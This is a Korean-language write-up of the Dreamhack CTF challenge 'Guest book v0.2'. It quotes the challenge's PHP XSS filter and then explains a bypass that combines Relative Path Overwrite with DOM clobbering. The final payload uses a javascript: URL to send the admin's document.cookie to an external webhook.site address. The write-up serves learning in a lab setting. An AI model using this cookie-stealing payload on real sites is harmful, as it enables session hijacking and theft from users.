[Dreamhack] Guest book v0.2
문제 설명
- php로 개발 중인 방명록 서비스입니다.
- 글을 쓰는 기능과, 오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능이 존재합니다.
- 플래그는 관리자의 쿠키에 포함되어 있습니다.
- 0.1 버전에서 발견된 취약점을 방어하는 코드가 추가되었습니다.
풀이
문제로 접속하면 아래 0.2로 xss가 보호되고 있다고 나온다.
문제 소스 코드를 보면 위는 똑같고 아래 PreventXSS
함수를 정의해서 html을 로드 후 모든 태그를 가져온 다음 ALLOOW_TAGS_ATTRS
에 있는 태그인지 검사하고 속성도 맞는지 검사하고 있다.
<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
PreventXSS($content);
return $content;
}
$ALLOW_TAGS_ATTRS = array(
"html"=>['id', 'name'],
"body"=>['id', 'name'],
"a"=>['id','href','name'],
"p"=>['id', 'name'],
);
function PreventXSS($input){
global $ALLOW_TAGS_ATTRS;
$htmldoc = new DOMDocument();
$htmldoc->loadHTML($input);
$tags = $htmldoc->getElementsByTagName("*");
foreach ($tags as $tag) {
if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction();
$allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)];
foreach($tag->attributes as $attr){
if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction();
}
}
}
function DisallowAction(){
die("no hack");
}
?>
전 문제에서 썼던 페이로드를 GuestBook.php에서 적으면 역시나 no hack이 나온다.
일단 DOM Cloberring으로 문제를 해결하기 위해 살펴보면 전 문제랑 동일하게 일단 script 태그로 config.js를 불러오고, 그 아래에는 window.CONFIIG와 window.CONFIG.debug가 true이면 window.CONNFIG.main으로 리다이렉션 시켜주는 코드가 존재한다. 하지만 Object.freeze로 객체를 일단 동결시키고 있기 때문에 생각을 좀 해봐야 한다.
window.CONFIG = {
version: "v0.2",
main: "/",
debug: false,
debugMSG: ""
}
// prevent overwrite
Object.freeze(window.CONFIG);
엄청 많은 삽질 끝에 dreamhack 강의를 정독하고 있다가 RPO(Relative Path Overwrite)로 config.js 가 로드되는 것을 우회할 수 있다는 것을 알게되었다. 코드를 살펴보면 해당 경로가 상대 경로로 지정되어 있기 때문에 원래 같은 경로의 config.js 를 불러오지만 url 끝에 /를 더 붙여주면, 하위 경로의 config.js를 불러오기 때문에 이를 우회할 수 있다.
마지막에 /를 붙여주니 config.js가 로드되지 않는 걸 볼 수 있다.
다음으로는 a 태그를 이용해서 config.js가 로드되지 않기 때문에 window.CONFIG와 window.CONFIG.debug, winow.CONFIG.main을 설정해주어야 한다. 여기서 그냥 멍청하게 하나의 a태그 안에서 전부 다 해결하려고 삽질을 많이 했는데 알고보니 []()
형식으로 두 번 작성하니 a 태그가 2개씩 작성되는 걸 알 수 있었다.
그럼 이제 다 끝났다. 우선 익스플로잇 방법은 HTML Collections를 이용해야 하고, 가장 처음 CONFIG id를 정해준 다음 debug를 true로 변경하고, 마지막 location.href가 되는 window.CONFIG.main 값을 전 문제에 작성했던 자바스크립트 스키마를 이용해서 document.cookie를 웹훅 서버로 전달해주게끔 하면 된다.
[dom](#' id='CONFIG')
[dom2](javascript:true' id='CONFIG' name='debug')
[dom3](javascript:location=`https://webhook.site/ec668eca-43dc-4c8c-919e-bd50bde0d0f9?cookie=`+document.cookie' id='CONFIG' name='main')
따라서 report 페이지에서 작성할 때 config.js가 로드되지 않아야 하기 때문에 GuestBook.php/?content=
이렇게 작성하고 위 페이로드를 url 인코딩 해준 후 붙여넣어주면 된다.
댓글남기기